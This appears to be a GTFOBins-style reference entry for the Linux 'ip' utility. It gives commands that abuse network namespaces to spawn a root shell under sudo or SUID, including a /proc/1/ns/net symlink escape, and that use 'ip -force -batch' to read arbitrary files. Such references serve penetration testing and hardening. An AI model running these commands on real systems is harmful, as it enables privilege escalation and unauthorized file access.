ip

Shell

This executable can spawn an interactive system shell.

Version requirementsThis only works for Linux with CONFIG_NET_NS=y.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ip netns add foo
ip netns exec foo /bin/sh
ip netns delete foo
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo
```
Version requirementsThis only works for Linux with CONFIG_NET_NS=y.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ip netns add foo
ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
ip netns exec bar /bin/sh
ip netns delete foo
ip netns delete bar
```

File read

This executable can read data from local files.

CommentThe read file content is corrupted by error prints.
Unprivileged
This function can be performed by any unprivileged user.
```
ip -force -batch /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ip -force -batch /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
ip -force -batch /path/to/input-file
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.